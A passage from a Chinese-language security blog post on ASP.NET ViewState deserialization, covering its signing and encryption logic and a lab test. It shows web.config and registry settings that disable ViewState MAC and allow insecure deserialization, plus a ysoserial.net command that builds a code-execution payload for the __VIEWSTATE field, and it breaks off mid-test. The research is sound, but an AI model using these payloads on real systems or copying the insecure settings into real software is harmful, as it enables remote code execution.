Arial, sans-serif;">文字描述：</span></p><ul class="list-paddingleft-2" cid="n39" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">_page.EnableViewStateMac 值的确定与上面的反序列化中介绍的相同，故在此图中省略，仍是受 EnforceViewStateMac 影响。</span></p></li><li style="box-sizing: border-box;"><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">ASP.NET 判断 ViewState 是否加密的条件是请求中是否有 &#34;__VIEWSTATEENCRYPTED&#34; 项，某些情况下我们可以利用这一点来绕过加密。</span></p></li></ul><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><section data-tools="135编辑器" data-id="100786"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 8px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;margin-right: 8px;overflow: hidden;"><br/></section><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section></section></section></section><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><span style="orphans: 4;white-space: pre-wrap;color: rgb(63, 63, 63);font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.2. 加密、解密以及签名、校验逻辑</span></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">具体算法并不是本文关注的重点，但是还是提取引文中的部分要点来作为知识点码一下：</span></p><ol class="list-paddingleft-2" start="" cid="n46" mdtype="list" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n48" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">GetEncodedData() 签名函数，将数据签名并将签名数据放到原数据的尾部；特殊的，如果制定签名算法为 3DES 或 AES，还会再调用一个 EncryptOrDecryptData() 的重载，进行加密。</span></p></li><li style="box-sizing: border-box;"><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">EncryptOrDecryptData() 加、解密函数，但是同时还会做签名，最终的结果是：</span><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">* E(iv + buf + modifier) + HMAC(E(iv + buf + modifier)) *</strong></span><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="plain" style="box-sizing: border-box;">结果在返回结果的 </span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">VIEWSTATE 字段中，而 modifier 在返回结果的 </strong></span><span md-inline="plain" style="box-sizing: border-box;">VIEWSTATEGENERATOR 中</span></p></li><li style="box-sizing: border-box;"><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">GetDecodedData() 校验函数，跟 GetEncodedData() 相反。</span></p></li><li style="box-sizing: border-box;"><p cid="n54" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">modifier 来自于 GetMacKeyModifier() 函数：</span></p></li><ol class="list-paddingleft-2" start="" cid="n55" mdtype="list" style="padding-left: 30px;list-style-type: lower-alpha;"><li style="box-sizing: border-box;"><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">如果有 viewStateUserKey，则 modifier = pageHashCode + ViewStateUsereKey;</span></p></li><li style="box-sizing: border-box;"><p cid="n59" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">如果没有 viewStateUserKey，则 modifier = pageHashCode；</span></p></li><li style="box-sizing: border-box;"><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">ViewStateUsereKey 是一个随机字符串值，且与用户有某种关联。</span></p></li></ol></ol></section></section></section></section></section></section></section></section><p><br/></p><p><br/></p><section data-tools="135编辑器" data-id="101258" data-color="#59c3f9"><section style="margin: 10px auto;text-align: center;"><section style="display: inline-block;"><section style="display: flex;" hm_fix="237:214"><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-right: -2px;margin-top: -1.2px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=ff460316&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D090cxZOgodcnNiav2O2nY2yzWuouQiaX0c7gVxHVSwxuicTw1iajuoTPwA%2F640%3Fwx_fmt%3Dgif"/></section><section data-brushtype="text" style="font-size: 16px;color: rgb(89, 195, 249);letter-spacing: 1.5px;word-break: break-all;padding: 5px 1em;border-width: 2px;border-style: solid;border-color: rgb(89, 195, 249);box-sizing: border-box;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 18px;">4.模拟环境测试</span></strong></section><section style="box-sizing:border-box;width: 40px;align-self: center;flex-shrink: 0;margin-left: -2px;margin-bottom: -1.1px;"><img data-ratio="0.3464052287581699" style="box-sizing:border-box;display: block;width: 100%;" data-type="gif" data-w="306" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=c614db6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DYYlWgBIoPFNVIfkdUsBdzmNz8g1bbSJkw8cjg8iaYsqIGhQOYQYOBgg%2F640%3Fwx_fmt%3Dgif"/></section></section></section></section></section><p><br/></p><section data-role="paragraph"><p><br/></p></section><section data-tools="135编辑器" data-id="93684" data-color="#59c3f9"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;border-width: 1px;border-radius: 5px;border-style: none;border-color: rgb(89, 195, 249);overflow: hidden;background-color: rgb(89, 195, 249);padding: 8px;box-shadow: rgb(0, 0, 0) 0px 0px 0px 0px;box-sizing: border-box;color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="min-width: 10%;max-width: 100%;vertical-align: top;background-color: rgb(255, 255, 255);border-style: none;border-width: 1px;border-radius: 3px;border-color: rgb(89, 195, 249);box-shadow: rgb(117, 117, 117) 0px 0px 4px 0px;overflow: hidden;padding: 4px 8px;box-sizing: border-box;"><section style="margin: 10px 0%;box-sizing: border-box;"><section style="padding: 1em 0.8em;letter-spacing: 1.5px;color: rgb(63, 63, 63);font-size: 14px;line-height: 1.75em;box-sizing: border-box;"><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">上面说了对于 ViewState 的“保护”包括：校验、加密，针对不同的组合，有不同的策略</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">测试环境：window server 2016</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">因为这里更多的是测试 VIEWSTATE 反序列化的效果，所以为了方便测试以及更直观地展示结果，这里我把 IIS 的应用程序池权提高到 local system，方法如下：</span></p></section><p style="text-align: center;"><img class="rich_pages" data-backh="289" data-backw="524" data-ratio="0.5522388059701493" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1139" src="https://wechat2rss.xlab.app/img-proxy/?k=208e3428&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DKiaxvic7lgQB35oLyhwwqlvSWkXKlCwe7CJCNMVXf0q69vInEKbOqBXQ%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">上文提到了，微软现在默认强制开启 ViewState MAC ，所以要在配置文件中将该项关掉，当然修改注册表项可以达到同样的效果：</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法1: 在 web.config 中添加：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">add</span> <span class="code-snippet__attr">key</span>=<span class="code-snippet__string">&#34;aspnet:AllowInsecureDeserialization&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;true&#34;</span> /&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appSettings</span>&gt;</span></span></code></pre></section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法2: 修改注册表：</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v{VersionHere}\AspNetEnforceViewStateMac 的值为 0</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">之后再借用一个简单文件上传的 web 应用页面来进行测试：</span></p></section><p style="text-align: center;"><img class="rich_pages" data-backh="78" data-backw="524" data-ratio="0.14889867841409693" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1135" src="https://wechat2rss.xlab.app/img-proxy/?k=1c1ac438&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5D4uNkV3ibOaKBnGxhTu2UQ4CndFD4YG1e5Hu1LodP65hlkKIA0V8bswA%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">然后测试环境就搭建好了。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">以下测试部分参考了：<a href="https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter" target="_blank">https://book.hacktricks.xyz/pentesting-web/deserialization/exploiting-__viewstate-parameter</a></span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这篇文章有比较清晰的测试思路，并且提供了一个可以用来爆破枚举 MachineKey 的工具。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><a href="https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper" target="_blank">https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper</a></span></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><section data-tools="135编辑器" data-id="100786"><section style="margin-top: 10px;margin-bottom: 10px;text-align: center;"><section style="display: flex;justify-content: center;align-items: center;"><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 8px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;overflow: hidden;"><br/></section><section style="width: 8px;height: 8px;background: rgb(24, 112, 190);margin-left: 4px;margin-right: 8px;overflow: hidden;"><br/></section><section style="flex: 1 1 0%;height: 1px;background: rgb(24, 112, 190);overflow: hidden;"><br/></section></section></section></section><p style="box-sizing: border-box;color: rgb(0, 0, 0);font-size: 16px;font-family: &#34;PingFang SC&#34;, BlinkMacSystemFont, Roboto, &#34;Helvetica Neue&#34;, sans-serif;"><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.1. testCase-1 不签名、不加密</span><br/></h3><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">web.config 配置启用 ViewState，但是不启用 Mac 验证和加密</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">configuration</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">pages</span> </span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewState</span>=<span class="code-snippet__string">&#34;true&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">enableViewStateMac</span>=<span class="code-snippet__string">&#34;false&#34;</span> </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">viewStateEncryptionMode</span>=<span class="code-snippet__string">&#34;Never&#34;</span> </span></code><code><span class="code-snippet_outer">        /&gt;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">customErrors</span> <span class="code-snippet__attr">mode</span>=<span class="code-snippet__string">&#34;Off&#34;</span>/&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">system.web</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__tag">&lt;<span class="code-snippet__name">add</span> <span class="code-snippet__attr">key</span>=<span class="code-snippet__string">&#34;aspnet:AllowInsecureDeserialization&#34;</span> <span class="code-snippet__attr">value</span>=<span class="code-snippet__string">&#34;true&#34;</span> /&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">appSettings</span>&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">configuration</span>&gt;</span></span></code></pre></section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">此时去访问对应的页面，会发现页面返回了一些隐藏的表单项，其中 __VIEWSTATE 项为序列化后的值，也就是我们利用的目标。</span></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">burpsuite 自带解析 ViewState 的功能，从 reponse 中能看到对应的信息，同时也会提示当前 ViewState 的状态（是否开启 MAC 或者 是否加密），如当前页面的 ViewState 没有开启 MAC</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="191" data-backw="524" data-ratio="0.3641160949868074" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=ac4589f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5Dn945iauMDHqaN3LNetVg0HcibKlA4gT1kOVLaVU2wrXBQcvkKQHgOibWw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">对于</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">没有任何保护的 ViewState ，可以直接使用 ysoserial.net 来生成 payload</span><br/><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><blockquote style="box-sizing: border-box;margin: 20px 10px;padding-top: 1px;padding-bottom: 1px;font-size: 16px;text-align: left;color: rgb(91, 91, 91);line-height: 1.5;background: rgba(158, 158, 158, 0.1);border-left-color: rgb(158, 158, 158);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><p style="box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);line-height: 1.6;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c &#34;echo test1 &gt; C:\temptest\test1.txt&#34;</span></p></blockquote><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">再构造一个正常的请求，将其中的 __VIEWSTATE 字段替换为生成的 payload:</span></p><p style="text-align: center;"><img class="rich_pages" data-backh="242" data-backw="524" data-ratio="0.4620811287477954" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1134" src="https://wechat2rss.xlab.app/img-proxy/?k=e3612add&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DLTrY49Ysrguu7UNPq5ejEf69exh5g99F6DvkKEsxUJhD7jvCn3ardw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">页面返回 500 ，检查命令执行是否成功</span></p></section><p style="text-align: center;"><img class="rich_pages" data-backh="257" data-backw="524" data-ratio="0.4912739965095986" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1146" src="https://wechat2rss.xlab.app/img-proxy/?k=f2187ab0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeBUjAKDcU7b2Dgzs0pUC5DhsIHJOIFtWIrhsMMMpOSvHKVTLbQTWQO3TA1pciam3e8iaFUMo2G8b6A%2F640%3Fwx_fmt%3Dpng"/></p><section><p style="text-align: left;box-sizing: border-box;margin: 10px;font-size: 16px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: 